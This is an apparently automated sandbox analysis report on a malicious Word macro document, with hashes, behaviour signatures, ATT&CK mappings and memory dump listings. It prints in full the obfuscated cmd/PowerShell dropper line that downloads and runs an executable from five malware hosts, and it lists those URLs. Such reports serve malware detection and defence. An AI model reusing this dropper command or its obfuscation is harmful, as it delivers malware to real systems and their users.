c63b801b73ffc4397fcd7f78b2c3658ef29751e6dc84ff1468dc9068cf237a42

General

Target

7e048c48cf5c2879dc2a0a33101048a2_JaffaCakes118.doc
Size

76KB
MD5

7e048c48cf5c2879dc2a0a33101048a2
SHA1

911f72f15361efb7c01fcde615c61c80656f0bdc
SHA256

c63b801b73ffc4397fcd7f78b2c3658ef29751e6dc84ff1468dc9068cf237a42
SHA512

44172ab2e73781abd5547059eb9463c21dbaf6d7813651c5463926cb1dd8be29f749028db57fba4cc2bb83fde5b99ccc82c08bc31299ef0b861667a80b94a22c
SSDEEP

768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://samix-num.com/BcFUhvDr

exe.dropper

http://economiadigital.biz/NKq5eOZ

exe.dropper

http://ftp.dailyignite.club/YNB95t2

exe.dropper

http://migoshen.org/FNE1TVJjI

exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2084	208	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

208 WINWORD.EXE
208 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3724 powershell.exe
3724 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3724 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

208 WINWORD.EXE
208 WINWORD.EXE
208 WINWORD.EXE
208 WINWORD.EXE
208 WINWORD.EXE
208 WINWORD.EXE
208 WINWORD.EXE

pid	process
208	WINWORD.EXE
208	WINWORD.EXE

pid	process
3724	powershell.exe
3724	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3724	powershell.exe

pid	process
208	WINWORD.EXE
208	WINWORD.EXE
208	WINWORD.EXE
208	WINWORD.EXE
208	WINWORD.EXE
208	WINWORD.EXE
208	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 208 wrote to memory of 3976	208	WINWORD.EXE	splwow64.exe
PID 208 wrote to memory of 3976	208	WINWORD.EXE	splwow64.exe
PID 208 wrote to memory of 2084	208	WINWORD.EXE	cmd.exe
PID 208 wrote to memory of 2084	208	WINWORD.EXE	cmd.exe
PID 2084 wrote to memory of 3724	2084	cmd.exe	powershell.exe
PID 2084 wrote to memory of 3724	2084	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e048c48cf5c2879dc2a0a33101048a2_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:208

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3976

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\93A89662.wmf

Filesize
494B

MD5
1507e745dfcb593d85ee10e65f223872

SHA1
6caa3f7b75e9d1430ae53fcf7042adf2d0bfe4d6

SHA256
a3a4144d0f0057665407727e360cfc350439eeebec951bbc3b484f2d3cdadd9b

SHA512
8d9f9af84e962129874c72771464d1936e343a1a841555a04fab2a1201d54bbf2267d2addb30507409a68bd4624a987633fc49e1673fcfcebe3543391d17ad5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDA703.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a0tevmto.ltp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/208-14-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-577-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/208-6-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-5-0x00007FFC45A6D000-0x00007FFC45A6E000-memory.dmp

Filesize
4KB

Download
memory/208-7-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-8-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-0-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/208-10-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-11-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-13-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-16-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-15-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-17-0x00007FFC039A0000-0x00007FFC039B0000-memory.dmp

Filesize
64KB

Download
memory/208-3-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/208-581-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-4-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/208-9-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-12-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-2-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/208-1-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/208-530-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-533-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-534-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-536-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-535-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-532-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-531-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

Filesize
2.0MB

Download
memory/208-578-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/208-580-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/208-18-0x00007FFC039A0000-0x00007FFC039B0000-memory.dmp

Filesize
64KB

Download
memory/208-579-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

Filesize
64KB

Download
memory/3724-57-0x0000029E7F500000-0x0000029E7F522000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads